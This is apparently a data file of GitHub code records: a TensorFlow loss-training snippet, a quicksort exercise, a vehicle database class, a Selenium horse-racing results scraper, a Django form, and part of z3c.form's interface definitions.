tfimage[tf.newaxis,:,:,:,tf.newaxis]\n    #tfimage = tf.reshape(tfimage, shape=(1,*tfimage.shape,1))\n    tfzero = tf.zeros_like(tfimage)\n\n    input = keras.layers.Input(shape =tfimage.shape[1:])\n    convlayer = keras.layers.Conv3D(filters=1, kernel_size=3, strides=(1,)*3, padding=\"SAME\", use_bias=False, kernel_initializer=\"he_normal\")\n    output = convlayer(input)\n    minimodel = tf.keras.models.Model(input, output)\n    optimizer = tf.keras.optimizers.RMSprop(learning_rate=0.001)\n\n    train_loss_results = []\n    train_accuracy_results = []\n\n    for epoch in range(1000):\n        epoch_loss_avg = tf.keras.metrics.Mean()\n        epoch_accuracy = tf.keras.metrics.MeanAbsolutePercentageError()\n\n        with tf.GradientTape() as tape:\n            trueimg = filters.gaussianFilter3D(tfimage, 0.5, 3)\n            predimg = minimodel(tfimage)\n            loss = lossfn(trueimg, predimg)\n        \n        grads = tape.gradient(loss, minimodel.trainable_weights)\n        optimizer.apply_gradients(zip(grads, minimodel.trainable_variables))\n\n        epoch_loss_avg.update_state(loss)\n        epoch_accuracy.update_state(trueimg, minimodel(tfimage))\n\n        train_loss_results.append(epoch_loss_avg.result())\n        train_accuracy_results.append(epoch_accuracy.result())\n\n        if epoch % 200 == 0:\n            #print(loss)\n            print(np.squeeze(minimodel.layers[-1].weights[0].numpy()))\n            print(\"Epoch {:03d}: Loss: {:.3f}, Accuracy: {:.3%}\".format(epoch,\n                                    epoch_loss_avg.result(),\n                                    epoch_accuracy.result()))\n    \n    print(tf.reduce_mean(\n        keras.losses.mse(\n            filters.gaussianFilter3D(tfimage, 0.5,3), minimodel(tfimage)\n        )\n    ))","repo_name":"wangshubo90/GAN_3D_Autoencoder","sub_path":"utils/losses.py","file_name":"losses.py","file_ext":"py","file_size_in_byte":6291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"1167386230","text":"\"\"\"Quick Sort is a Divide and Conquer algorithm. It picks an element as \npivot and partitions the given array around the picked pivot.\nGiven an array arr[], its starting position low and its ending position high.\n\nImplement the partition() and quickSort() functions to sort the array.\n\n\"\"\"\n\n\nclass Solution:\n    #Function to sort a list using quick sort algorithm.\n    def quickSort(self,arr,l,h):\n        # code here\n        while l<h:\n            p = self.partition(arr, l , h)\n            self.quickSort(arr,l,p)\n            l = p+1\n    \n    def partition(self,arr,l,h):\n        # code here\n        pivot = arr[l]\n        i = l-1\n        j = h+1\n        while True:\n            i += 1\n            while(arr[i]<pivot):\n                i +=1\n                \n            j -=1\n            while(arr[j]>pivot):\n                j-=1\n            if i>=j:\n                return j\n                \n            arr[i], arr[j] = arr[j], arr[i]\n            \n    \n\n#{ \n#  Driver Code Starts\n#Initial Template for Python 3\n\nif __name__ == \"__main__\":\n    t=int(input())\n    for i in range(t):\n        n=int(input())\n        arr=list(map(int,input().split()))\n        Solution().quickSort(arr,0,n-1)\n        for i in range(n):\n            print(arr[i],end=\" \")\n        print()\n\n# } Driver Code Ends","repo_name":"deepzsenu/python-dsa","sub_path":"Amazon_Practice/03.sorting/02.Quick Sort.py","file_name":"02.Quick Sort.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6130481884","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom appdata.DbAccess import * \nfrom appdata.model import *\nfrom appdata.option import *\nimport pg8000\nimport datetime\n\nclass vehicle():\n    __vehicleList = []\n    def __init__(self, pModel, pInsertionDate, pDbId = None):\n        self.__dbId = pDbId\n        self.__model = pModel\n        self.__optionList = option.FindByVehicle(pDbId)\n        self.__insertionDate = pInsertionDate\n    \n    #get\n    def DbId(self):\n        return self.__dbId\n    \n    #get/set\n    def Model(self, pModel = None):\n        if(pModel == None):\n            return self.__model\n        else:\n            self.__model = pModel\n\n    #get\n    def OptionList(self):\n        return self.__optionList\n    \n    #get\n    def InsertionDate(self):\n        return self.__insertionDate\n\n    #chargement de tout les véhicules\n    @classmethod\n    def FindAll(cls):\n        provVehicleList = []\n        cursor = DbAccess.Querry(\"SELECT * FROM vehicule;\")\n        results = None\n        if(cursor != None):\n            results = cursor.fetchall()\n            for row in results:\n                id, modelId, insertionDate = row\n                aModel = model.FindById(modelId)\n                aVehicle = vehicle(aModel, insertionDate, id)\n                vehicleList.append(aVehicle)\n        cls.__vehicleList = provVehicleList\n        return cls.__vehicleList\n\n    #chargement de l'orrurence correspondant à un id passé en paramètre\n    @classmethod\n    def FindById(cls, pId):\n        vehicleToReturn = None\n        for aVehicle in cls.__vehicleList:\n            if (aVehicle.DbId()) == pId:\n                vehicleToReturn = aVehicle\n        if (vehicleToReturn == None):\n            cursor = DbAccess.Querry(\"SELECT * FROM vehicule WHERE vehicule_id = \" + str(pId) + \";\")\n            results = None\n            if(cursor != None):\n                results = cursor.fetchall()\n                for row in results:\n                    id, modelId, insertionDate = row\n                    aModel =  model.FindById(modelId)\n                    aVehicle = vehicle(aModel, insertionDate, id)\n                    cls.__vehicleList.append(aVehicle)\n                    vehicleToReturn = aVehicle\n        return vehicleToReturn","repo_name":"paccalin/projets3","sub_path":"raspberry/appdata/vehicle.py","file_name":"vehicle.py","file_ext":"py","file_size_in_byte":2235,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"15391890959","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nfrom selenium import webdriver\nfrom time import sleep\nfrom selenium.common.exceptions import ElementClickInterceptedException\n\n\n# In[2]:\n\n\ndriver = webdriver.Chrome()\nurl = 'https://jeux.loro.ch/horses/races'\ndriver.get(url)\n\n### sélection la course terminé\ndriver.find_element_by_xpath(\"\"\"\n//*[@id=\"root\"]/main/section/article/div/div/nav[2]/ul/li[2]\"\"\").click()\nnbCourse = driver.find_element_by_xpath(\"\"\"\n//*[@id=\"root\"]/main/section/article/div/div/nav[2]/ul/li[2]/p[2]\"\"\")\nprint(\"le nombre de courses terminées: {0}\".format(nbCourse.text[:2]))\nnombredecourse = int(nbCourse.text[:2])\n\n### sélectionner la section des courses terminées\ndriver.find_element_by_xpath(\"\"\"\n//*[@id=\"root\"]/main/section/article/div/div/section/ul/li[2]/a/article/section/div[1]\"\"\").click()\n\n### le compteur pour la boucle while\ncounter = 1 \n### le temps d'attente entre les clicks \ntempsAttente = 1\n## fiche de cheval\nlisteInfos = [1,2,3,4,8,9,10]\n### maintenant on va écrire les données dans un fichier csv \n\n### nom du fichier csv\nname = driver.find_element_by_xpath(\"\"\"//*[@id=\"root\"]/main/div/article[1]/section[2]/article/h3/span[1]\"\"\")\ndate = driver.find_element_by_xpath(\"\"\"//*[@id=\"root\"]/main/div/article[1]/div/p/span\"\"\")\nnameCsv = date.text.replace(' ','_') + name.text.replace(' ','_') \nprint(\"Nom du ficher csv  : \" + nameCsv)\n\n### écrire les données dans la un fichier csv\ndataFile = 'data_{0}.csv'.format(nameCsv)\nwith open(dataFile, mode='w') as horseRacing:\n    horseRacing.write('NumeroCheval,NomCheval,entraineur,proprietaire,sex,age,race,poid,corde,distanceCourse,cote,nomdeMaman,nomdePapa,courseCourue,victoire,place,gainCarriere,positionArrive\\n')\n    while counter < nombredecourse : \n        checkCateg  =  driver.find_element_by_xpath(\"\"\"\n        //*[@id=\"root\"]/main/div/article[3]/section/div/div[1]/div[2]/p\"\"\")\n        if checkCateg.text == 'PLAT':\n            print(\"plat\")\n            ## cliquer sur arrivé\n            driver.find_element_by_xpath(\"\"\"//*[@id=\"root\"]/main/section/div/div/section/nav/ul/li[2]\"\"\").click()\n\n            listePosition = {}\n            ### collecter la liste des positions terminées de la course\n            position = driver.find_elements_by_class_name(\"arrivals-tab-content__position-number\")\n\n            numberX = driver.find_elements_by_class_name(\"arrivals-tab-content__separator\")\n            for p,n in zip(position,numberX):\n            #     print(p.text)\n                # on ignore les chevaux non-partants\n                if p.text != 'NP':\n                    if p.text == \"N/C\":\n                        valeur = '0'\n                    else:\n                        valeur = p.text\n                    listePosition[int(n.text)] = valeur\n            # print(listePosition)\n\n            ## Trier les clés dans l'ordre\n            listePoX ={}\n            for k in sorted(listePosition.keys()):\n            #     print(\"%s: %s\" % (k, listePosition[k]))\n                listePoX[k] = listePosition[k]\n            print(\"---\"* 30 )\n            print(\"La position arrivée et le nombre de cheval correspondant: \")\n            print(listePoX)\n\n            ## La liste des chevaux partants\n            listePartante = []\n            [listePartante.append(k) for k in listePoX.keys()]\n            print(\"---\"* 30 )\n            print(\"la liste des chevaux partants: \")\n            print(listePartante)\n            print(\"---\"* 30 )\n            ### on va maintenant scraper les données des chevaux\n            driver.find_element_by_xpath(\"\"\"//*[@id=\"root\"]/main/section/div/div/section/nav/ul/li[3]/p\"\"\").click()\n            ### supprimer des lettres spéciales\n            def delSpeLetter(text):\n                \"\"\"\n                Remplacer les caractères spéciaux dans les lignes de textes\n                \"\"\"\n                for x in text:\n                    if x not in 'abcdefghijklmnopqrstuvwyzABCDEFGHIJKLMNOPQRSTUVWYZ ':\n                        text = text.replace(x,'')\n                return text\n\n            ### on va regarder la liste des cheveaux qui vont faire de la course\n\n            #sleep(tempsAttente)\n\n            ###chercher les informations des chevaux de la course\n            links = driver.find_elements_by_class_name('collapsible__section')\n            counterLinks = 0\n            ### main programe\n            for link in links:\n                if counterLinks < len(listePartante):\n                    ### le numéro de chaque cheval\n                    print('--'*20)\n                    print(listePartante[counterLinks])\n                    number = listePartante[counterLinks]\n                    print('--'*20)\n\n                    ### nom des chevaux\n                    horseName =driver.find_element_by_xpath(\"\"\"\n                    //*[@id=\"root\"]/main/section/div/div/section/section/div[1]\n                    /div/section[{0}]/header/div/div[1]/div/div/div/h2/span[2]\n                    \"\"\".format(listePartante[counterLinks]))\n                    print('Nom du cheval: ' + horseName.text)\n                    horse_name = delSpeLetter(horseName.text)\n\n                    ### la côte de chaque cheval\n                    odd = driver.find_element_by_xpath(\"\"\"\n                    //*[@id=\"root\"]/main/section/div/div/section/section/div[1]\n                    /div/section[{0}]/header/div/div[2]/span\n                    \"\"\".format(listePartante[counterLinks]))\n                    print('la côte: ' + odd.text)\n                    cote = odd.text\n\n                    ### cliquer sur les informations de chaque cheval\n                    link =driver.find_element_by_xpath(\"\"\"\n                    //*[@id=\"root\"]/main/section/div/div/section/section/div[1]/div/section[{0}]\n                    \"\"\".format(listePartante[counterLinks]))\n                    link.click()\n                    sleep(tempsAttente)\n\n                    ### fiche du cheval\n                    for x in range(1,11):\n                        linke = driver.find_element_by_xpath(\n                        \"\"\"\n                        //*[@id=\"root\"]/main/section/div/div/section/section/div[1]\n                        /div/section[{0}]/article/section/div/div/div[2]/div/div[2]\n                        /div/table/tbody/tr[{1}]/td\n                        \"\"\".format(listePartante[counterLinks],x))\n\n                        if linke != None:\n                            if x == 1 : \n                                print('Entraîneur: ' + linke.text)\n                                entraineur = delSpeLetter(linke.text)\n                            elif x == 2 :\n                                print('Propriétaire: ' + linke.text)\n                                proprietaire = delSpeLetter(linke.text)\n                            elif x == 3 :\n                                print('Sex: ' + linke.text)\n                                sex = linke.text\n                                if sex == 'MÂLE':\n                                    sex = 'MALE'\n                            elif x == 4 :\n                                print('Âge: ' + linke.text)\n                                age = linke.text\n                            elif x ==8 : \n                                print('Race: ' + linke.text)\n                                race = delSpeLetter(linke.text)\n                            elif x == 9 :\n                                print('Poids(kg): ' + linke.text.replace('Kg',''))\n                                poid = linke.text.replace('Kg','')\n                            elif x == 10:\n                                print('Corde: ' + linke.text)\n                                corde = linke.text\n\n                        else:\n                            print('hallo quoi !')\n                        #sleep(tempsAttente)\n\n                    ### changer de la fiche \n                    sleep(tempsAttente)\n                    changeFiche = driver.find_element_by_xpath(\"\"\"\n                    //*[@id=\"root\"]/main/section/div/div/section/section/div[1]\n                    /div/section[{0}]/article/section/div/div/div[3]\n                    \"\"\".format(listePartante[counterLinks]))\n                    changeFiche.click()\n                    sleep(tempsAttente)\n\n                    ### Ascendance\n                    for z in range (1,3):\n                        linkAsc = driver.find_element_by_xpath(\n                        \"\"\"\n                        //*[@id=\"root\"]/main/section/div/div/section/section/div[1]\n                        /div/section[{0}]/article/section/div/div/div[2]/div/div[3]/\n                        div/table[1]/tbody/tr[{1}]/td\n                        \"\"\".format(listePartante[counterLinks],z))\n                        if z == 1 : \n                            print(\"Nom de la mère: \" + linkAsc.text)\n                            nomdeMaman = delSpeLetter(linkAsc.text)\n                        else:\n                            print(\"Nom du père : \"+ linkAsc.text )\n                            nomdePapa = delSpeLetter(linkAsc.text)\n\n                    ### performance\n                    for y in range(1,5):\n                        linkPerf = driver.find_element_by_xpath(\"\"\"\n                        //*[@id=\"root\"]/main/section/div/div/section/section/div[1]\n                        /div/section[{0}]/article/section/div/div/div[2]/div/div[3]\n                        /div/table[2]/tbody/tr[{1}]/td\n                        \"\"\".format(listePartante[counterLinks],y))\n                        if y == 1:\n                            print('Courses courues: ' + linkPerf.text)\n                            courseCourue = linkPerf.text\n                        elif y ==2: \n                            print('victoires: ' + linkPerf.text)\n                            victoire = linkPerf.text\n                        elif y == 3 :\n                            print( 'Places: ' + linkPerf.text)\n                            place = linkPerf.text\n                        elif y == 4: \n                            print('Gain en carrière(frs): ' + linkPerf.text.replace(\"'\",\"\"))\n                            gainCarriere = linkPerf.text.replace(\"'\",\"\")\n\n                    #sleep(tempsAttente)\n\n                    ### Distance de la course \n                    distance = driver.find_element_by_xpath(\"\"\"\n                    //*[@id=\"root\"]/main/div/article[3]/section/div/div[3]/div[1]/p\n                    \"\"\")\n                    print('Distance(m): ' + distance.text.replace('m',''))\n                    distanceCourse = distance.text.replace('m','')\n\n                    ### La position arrivée des chevaux\n                    for key in listePoX.keys():\n                        if listePartante[counterLinks] == key:\n                            positionArrive = listePoX[key]\n                            print(\"La position arrivée : \" + positionArrive)\n\n\n                    counterLinks += 1\n                    sleep(tempsAttente)\n\n                else:\n                    break\n\n                sleep(tempsAttente)\n                horseRacing.write(str(number) + ','+ \n                                  horse_name + ','+ \n                                  entraineur + ','+\n                                  proprietaire + ','+ \n                                  sex + ','+\n                                  age + ','+\n                                  race + ','+\n                                  poid + ','+\n                                  corde + ','+ \n                                  distanceCourse + ','+\n                                  cote + ','+ \n                                  nomdeMaman + ','+ \n                                  nomdePapa + ','+ \n                                  courseCourue + ','+\n                                  victoire + ','+\n                                  place + ','+\n                                  gainCarriere + ','+   \n                                  positionArrive + '\\n')\n                sleep(1)\n                target = driver.find_element_by_xpath(\"\"\"\n                //*[@id=\"root\"]/main/div/section/nav/div/ul/li[2]\"\"\")\n                target.location_once_scrolled_into_view\n\n\n        else:\n            print(\"Trot attelé\")\n        ### changer de course\n        clickCourse = driver.find_element_by_xpath(\"\"\"\n        //*[@id=\"root\"]/main/div/article[1]/section[2]/div[1]\"\"\")\n        clickCourse.click()\n        counter += 1","repo_name":"douchuis/forfunclock","sub_path":"data/scraperdata.py","file_name":"scraperdata.py","file_ext":"py","file_size_in_byte":12386,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"25284105094","text":"from django.forms import ModelForm\nfrom django.utils.translation import ugettext as _\n\nfrom .models import News\n\n\nclass NewsForm(ModelForm):\n    class Meta():\n        model = News\n        exclude = ('author',)\n        fields = [\n            \"title\",\n            \"header_image\",\n            \"content\",\n        ]\n        labels = {\n            'title': _('Title'),\n            'header_image': _('Header image'),\n            'content': _('Content'),\n        }\n","repo_name":"piotrantosz/Cyfrowa-szkola","sub_path":"portfolios/news/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"}
+{"seq_id":"36780500599","text":"__docformat__ = \"reStructuredText\"\nimport zope.i18nmessageid\nimport zope.interface\nimport zope.schema\nfrom zope.interface.common import mapping\nfrom zope.location.interfaces import ILocation\n\n\nMessageFactory = _ = zope.i18nmessageid.MessageFactory('z3c.form')\n\nINPUT_MODE = 'input'\nDISPLAY_MODE = 'display'\nHIDDEN_MODE = 'hidden'\n\n\nclass NOT_CHANGED:\n    def __repr__(self):\n        return '<NOT_CHANGED>'\n\n\nNOT_CHANGED = NOT_CHANGED()\n\n\nclass NO_VALUE:\n    def __repr__(self):\n        return '<NO_VALUE>'\n\n\nNO_VALUE = NO_VALUE()\n# BBB: the object was renamed to follow common naming style\nNOVALUE = NO_VALUE\n\n# ----[ Layer Declaration ]--------------------------------------------------\n\n\nclass IFormLayer(zope.interface.Interface):\n    \"\"\"A layer that contains all registrations of this package.\n\n    It is intended that someone can just use this layer as a base layer when\n    using this package.\n\n    Since version 2.4.2, this layer doesn't provide IBrowserRequst anymore.\n    This makes it possible to use the IFormLayer within z3c.jsonrpc without\n    to apply the IBrowserRequest into the jsonrpc request.\n    \"\"\"\n\n\n# ----[ Generic Manager Interfaces ]-----------------------------------------\n\nclass IManager(mapping.IEnumerableMapping):\n    \"\"\"A manager of some kind of items.\n\n    *Important*: While managers are mappings, the order of the items is\n     assumed to be important! Effectively a manager is an ordered mapping.\n\n    In general, managers do not have to support a manipulation\n    API. Oftentimes, managers are populated during initialization or while\n    updating.\n    \"\"\"\n\n\nclass ISelectionManager(IManager):\n    \"\"\"Managers that support item selection and management.\n\n    This manager allows one to more carefully specify the contained items.\n\n    *Important*: The API is chosen in a way, that the manager is still\n    immutable. All methods in this interface must return *new* instances of\n    the manager.\n    \"\"\"\n\n    def __add__(other):\n        \"\"\"Used for merge two managers.\"\"\"\n\n    def select(*names):\n        \"\"\"Return a modified instance with an ordered subset of items.\"\"\"\n\n    def omit(*names):\n        \"\"\"Return a modified instance omitting given items.\"\"\"\n\n    def copy():\n        \"\"\"Copy all items to a new instance and return it.\"\"\"\n\n\n# ----[ Validators ]---------------------------------------------------------\n\nclass IData(zope.interface.Interface):\n    \"\"\"A proxy object for form data.\n\n    The object will make all keys within its data attribute available as\n    attributes. The schema that is represented by the data will be directly\n    provided by instances.\n    \"\"\"\n\n    def __init__(schema, data, context):\n        \"\"\"The data proxy is instantiated using the schema it represents, the\n        data fulfilling the schema and the context in which the data are\n        validated.\n        \"\"\"\n\n    __context__ = zope.schema.Field(\n        title=_('Context'),\n        description=_('The context in which the data are validated.'),\n        required=True)\n\n\nclass IValidator(zope.interface.Interface):\n    \"\"\"A validator for a particular value.\"\"\"\n\n    def validate(value, force=False):\n        \"\"\"Validate the value.\n\n        If successful, return ``None``. Otherwise raise an ``Invalid`` error.\n        \"\"\"\n\n\nclass IManagerValidator(zope.interface.Interface):\n    \"\"\"A validator that validates a set of data.\"\"\"\n\n    def validate(data):\n        \"\"\"Validate a dictionary of data.\n\n        This method is only responsible of validating relationships between\n        the values in the data. It can be assumed that all values have been\n        validated in isolation before.\n\n        The return value of this method is a tuple of errors that occurred\n        during the validation process.\n        \"\"\"\n\n    def validateObject(obj):\n        \"\"\"Validate an object.\n\n        The same semantics as in ``validate()`` apply, except that the values\n        are retrieved from the object and not the data dictionary.\n        \"\"\"\n\n\n# ----[ Errors ]--------------------------------------------------------------\n\nclass IErrorViewSnippet(zope.interface.Interface):\n    \"\"\"A view providing a view for an error\"\"\"\n\n    widget = zope.schema.Field(\n        title=_(\"Widget\"),\n        description=_(\"The widget that the view is on\"),\n        required=True)\n\n    error = zope.schema.Field(\n        title=_('Error'),\n        description=_('Error the view is for.'),\n        required=True)\n\n    def update():\n        \"\"\"Update view.\"\"\"\n\n    def render():\n        \"\"\"Render view.\"\"\"\n\n\nclass IMultipleErrors(zope.interface.Interface):\n    \"\"\"An error that contains many errors\"\"\"\n\n    errors = zope.interface.Attribute(\"List of errors\")\n\n# ----[ Fields ]--------------------------------------------------------------\n\n\nclass IField(zope.interface.Interface):\n    \"\"\"Field wrapping a schema field used in the form.\"\"\"\n\n    __name__ = zope.schema.TextLine(\n        title=_('Title'),\n        description=_('The name of the field within the form.'),\n        required=True)\n\n    field = zope.schema.Field(\n        title=_('Schema Field'),\n        description=_('The schema field that is to be rendered.'),\n        required=True)\n\n    prefix = zope.schema.Field(\n        title=_('Prefix'),\n        description=_('The prefix of the field used to avoid name clashes.'),\n        required=True)\n\n    mode = zope.schema.Field(\n        title=_('Mode'),\n        description=_('The mode in which to render the widget for the field.'),\n        required=True)\n\n    interface = zope.schema.Field(\n        title=_('Interface'),\n        description=_('The interface from which the field is coming.'),\n        required=True)\n\n    ignoreContext = zope.schema.Bool(\n        title=_('Ignore Context'),\n        description=_('A flag, when set, forces the widget not to look at '\n                      'the context for a value.'),\n        required=False)\n\n    widgetFactory = zope.schema.Field(\n        title=_('Widget Factory'),\n        description=_('The widget factory.'),\n        required=False,\n        default=None,\n        missing_value=None)\n\n    showDefault = zope.schema.Bool(\n        title=_('Show default value'),\n        description=_('A flag, when set, makes the widget to display'\n                      'field|adapter provided default values.'),\n        default=True,\n        required=False)\n\n\nclass IFields(ISelectionManager):\n    \"\"\"IField manager.\"\"\"\n\n    def select(prefix=None, interface=None, *names):\n        \"\"\"Return a modified instance with an ordered subset of items.\n\n        This extension to the ``ISelectionManager`` allows for handling cases\n        with name-conflicts better by separating field selection and prefix\n        specification.\n        \"\"\"\n\n    def omit(prefix=None, interface=None, *names):\n        \"\"\"Return a modified instance omitting given items.\n\n        This extension to the ``ISelectionManager`` allows for handling cases\n        with name-conflicts better by separating field selection and prefix\n        specification.\n        \"\"\"\n\n\nclass IContentProviders(IManager):\n    \"\"\"\n    A content provider manager\n    \"\"\"\n\n# ----[ Data Managers ]------------------------------------------------------\n\n\nclass IDataManager(zope.interface.Interface):\n    \"\"\"Data manager.\"\"\"\n\n    def get():\n        \"\"\"Get the value.\n\n        If no value can be found, raise an error\n        \"\"\"\n\n    def query(default=NO_VALUE):\n        \"\"\"Get the value.\n\n        If no value can be found, return the default value.\n        If access is forbidden, raise an error.\n        \"\"\"\n\n    def set(value):\n        \"\"\"Set the value\"\"\"\n\n    def canAccess():\n        \"\"\"Can the value be accessed.\"\"\"\n\n    def canWrite():\n        \"\"\"Can the data manager write a value.\"\"\"\n\n\n# ----[ Data Converters ]----------------------------------------------------\n\nclass IDataConverter(zope.interface.Interface):\n    \"\"\"A data converter from field to widget values and vice versa.\"\"\"\n\n    def toWidgetValue(value):\n        \"\"\"Convert the field value to a widget output value.\n\n        If conversion fails or is not possible, a ``ValueError`` *must* be\n        raised. However, this method should effectively never fail, because\n        incoming value is well-defined.\n        \"\"\"\n\n    def toFieldValue(value):\n        \"\"\"Convert an input value to a field/system internal value.\n\n        This methods *must* also validate the converted value against the\n        field.\n\n        If the conversion fails, a ``ValueError`` *must* be raised. If\n        the validation fails, a ``ValidationError`` *must* be raised.\n        \"\"\"\n\n\n# value interfaces\nclass IValue(zope.interface.Interface):\n    \"\"\"A value.\"\"\"\n\n    def get():\n        \"\"\"Returns the value.\"\"\"\n\n\n# term interfaces\nclass ITerms(zope.interface.Interface):\n    \"\"\" \"\"\"\n\n    context = zope.schema.Field()\n    request = zope.schema.Field()\n    form = zope.schema.Field()\n    field = zope.schema.Field()\n    widget = zope.schema.Field()\n\n    def getTerm(value):\n        \"\"\"Return an ITitledTokenizedTerm object for the given value\n\n        LookupError is raised if the value isn't in the source\n        \"\"\"\n\n    def getTermByToken(token):\n        \"\"\"Return an ITokenizedTerm for the passed-in token.\n\n        If `token` is not represented in the vocabulary, `LookupError`\n        is raised.\n        \"\"\"\n\n    def getValue(token):\n        \"\"\"Return a value for a given identifier token\n\n        LookupError is raised if there isn't a value in the source.\n        \"\"\"\n\n    def __iter__():\n        \"\"\"Iterate over terms.\"\"\"\n\n    def __len__():\n        \"\"\"Return number of terms.\"\"\"\n\n    def __contains__(value):\n        \"\"\"Check wether terms containes the ``value``.\"\"\"\n\n\nclass IBoolTerms(ITerms):\n    \"\"\"A specialization that handles boolean choices.\"\"\"\n\n    trueLabel = zope.schema.TextLine(\n        title=_('True-value Label'),\n        description=_('The label for a true value of the Bool field.'),\n        required=True)\n\n    falseLabel = zope.schema.TextLine(\n        title=_('False-value Label'),\n        description=_('The label for a false value of the Bool field.'),\n        required=False)\n\n\n# ----[ Object factory ]-----------------------------------------------------\n\nclass IObjectFactory(zope.interface.Interface):\n    \"\"\"Factory that will instantiate our objects for ObjectWidget.\n    It could also pre-populate properties as it gets the values extracted\n    from the form passed in ``value``.\n    \"\"\"\n\n    def __call__(value):\n        \"\"\"Return a default object created to be populated.\n        \"\"\"\n\n\n# ----[ Widget layout template ]----------------------------------------------\n\nclass IWidgetLayoutTemplate(zope.interface.Interface):\n    \"\"\"Widget layout template marker used for render the widget layout.\n\n    It is important that we don't inherit this template from IPageTemplate.\n    otherwise we will get into trouble since we lookup an IPageTemplate\n    in the widget/render method.\n\n    \"\"\"\n\n# ----[ Widgets ]------------------------------------------------------------\n\n\nclass IWidget(ILocation):\n    \"\"\"A widget within a form\"\"\"\n\n    name = zope.schema.ASCIILine(\n        title=_('Name'),\n        description=_('The name the widget is known under.'),\n        required=True)\n\n    label = zope.schema.TextLine(\n        title=_('Label'),\n        description=_('''\n        The widget label.\n\n        Label may be translated for the request.\n\n        The attribute may be implemented as either a read-write or read-only\n        property, depending on the requirements for a specific implementation.\n        '''),\n        required=True)\n\n    mode = zope.schema.ASCIILine(\n        title=_('Mode'),\n        description=_('A widget mode.'),\n        default=INPUT_MODE,\n        required=True)\n\n    required = zope.schema.Bool(\n        title=_('Required'),\n        description=_('If true the widget should be displayed as required '\n                      'input.'),\n        default=False,\n        required=True)\n\n    error = zope.schema.Field(\n        title=_('Error'),\n        description=_('If an error occurred during any step, the error view '\n                      'stored here.'),\n        required=False)\n\n    value = zope.schema.Field(\n        title=_('Value'),\n        description=_('The value that the widget represents.'),\n        required=False)\n\n    template = zope.interface.Attribute('''The widget template''')\n    layout = zope.interface.Attribute('''The widget layout template''')\n\n    ignoreRequest = zope.schema.Bool(\n        title=_('Ignore Request'),\n        description=_('A flag, when set, forces the widget not to look at '\n                      'the request for a value.'),\n        default=False,\n        required=False)\n\n    # ugly thing to remove setErrors parameter from extract\n    setErrors = zope.schema.Bool(\n        title=_('Set errors'),\n        description=_('A flag, when set, the widget sets error messages '\n                      'on calling extract().'),\n        default=True,\n        required=False)\n\n    # a bit different from ignoreRequiredOnExtract, because we record\n    # here the fact, but for IValidator, because the check happens there\n    ignoreRequiredOnValidation = zope.schema.Bool(\n        title=_('Ignore Required validation'),\n        description=_(\"If set then required fields will pass validation \"\n                      \"regardless whether they're filled in or not\"),\n        default=False,\n        required=True)\n\n    showDefault = zope.schema.Bool(\n        title=_('Show default value'),\n        description=_('A flag, when set, makes the widget to display'\n                      'field|adapter provided default values.'),\n        default=True,\n        required=False)\n\n    def extract(default=NO_VALUE):\n        \"\"\"Extract the string value(s) of the widget from the form.\n\n        The return value may be any Python construct, but is typically a\n        simple string, sequence of strings or a dictionary.\n\n        The value *must not* be converted into a native format.\n\n        If an error occurs during the extraction, the default value should be\n        returned. Since this should never happen, if the widget is properly\n        designed and used, it is okay to NOT raise an error here, since we do\n        not want to crash the system during an inproper request.\n\n        If there is no value to extract, the default is to be returned.\n        \"\"\"\n\n    def update():\n        \"\"\"Setup all of the widget information used for displaying.\"\"\"\n\n    def render():\n        \"\"\"Render the plain widget without additional layout\"\"\"\n\n    def json_data():\n        \"\"\"Returns a dictionary for the widget\"\"\"\n\n    def __call__():\n        \"\"\"Render a layout template which is calling widget/render\"\"\"\n\n\nclass ISequenceWidget(IWidget):\n    \"\"\"Term based sequence widget base.\n\n    The sequence widget is used for select items from a sequence. Don't get\n    confused, this widget does support to choose one or more values from a\n    sequence. The word sequence is not used for the schema field, it's used\n    for the values where this widget can choose from.\n\n    This widget base class is used for build single or sequence values based\n    on a sequence which is in most use case a collection. e.g.\n    IList of IChoice for sequence values or IChoice for single values.\n\n    See also the MultiWidget for build sequence values based on none collection\n    based values. e.g. IList of ITextLine\n    \"\"\"\n\n    noValueToken = zope.schema.ASCIILine(\n        title=_('NO_VALUE Token'),\n        description=_('The token to be used, if no value has been selected.'))\n\n    terms = zope.schema.Object(\n        title=_('Terms'),\n        description=_('A component that provides the options for selection.'),\n        schema=ITerms)\n\n    def updateTerms():\n        \"\"\"Update the widget's ``terms`` attribute and return the terms.\n\n        This method can be used by external components to get the terms\n        without having to worry whether they are already created or not.\n        \"\"\"\n\n\nclass IMultiWidget(IWidget):\n    \"\"\"None Term based sequence widget base.\n\n    The multi widget is used for ITuple, IList or IDict if no other widget is\n    defined.\n\n    Some IList or ITuple are using another specialized widget if they can\n    choose from a collection. e.g. a IList of IChoice. The base class of such\n    widget is the ISequenceWidget.\n\n    This widget can handle none collection based sequences and offers add or\n    remove values to or from the sequence. Each sequence value get rendered by\n    it's own relevant widget. e.g. IList of ITextLine or ITuple of IInt\n    \"\"\"\n\n\nclass ISelectWidget(ISequenceWidget):\n    \"\"\"Select widget with ITerms option.\"\"\"\n\n    prompt = zope.schema.Bool(\n        title=_('Prompt'),\n        description=_('A flag, when set, enables a choice explicitely '\n                      'requesting the user to choose a value.'),\n        default=False)\n\n    items = zope.schema.Tuple(\n        title=_('Items'),\n        description=_('A collection of dictionaries containing all pieces of '\n                      'information for rendering. The following keys must '\n                      'be in each dictionary: id, value, content, selected'))\n\n    noValueMessage = zope.schema.Text(\n        title=_('No-Value Message'),\n        description=_('A human-readable text that is displayed to refer the '\n                      'missing value.'))\n\n    promptMessage = zope.schema.Text(\n        title=_('Prompt Message'),\n        description=_('A human-readable text that is displayed to refer the '\n                      'missing value.'))\n\n\nclass IOrderedSelectWidget(ISequenceWidget):\n    \"\"\"Ordered Select widget with ITerms option.\"\"\"\n\n\nclass ICheckBoxWidget(ISequenceWidget):\n    \"\"\"Checbox 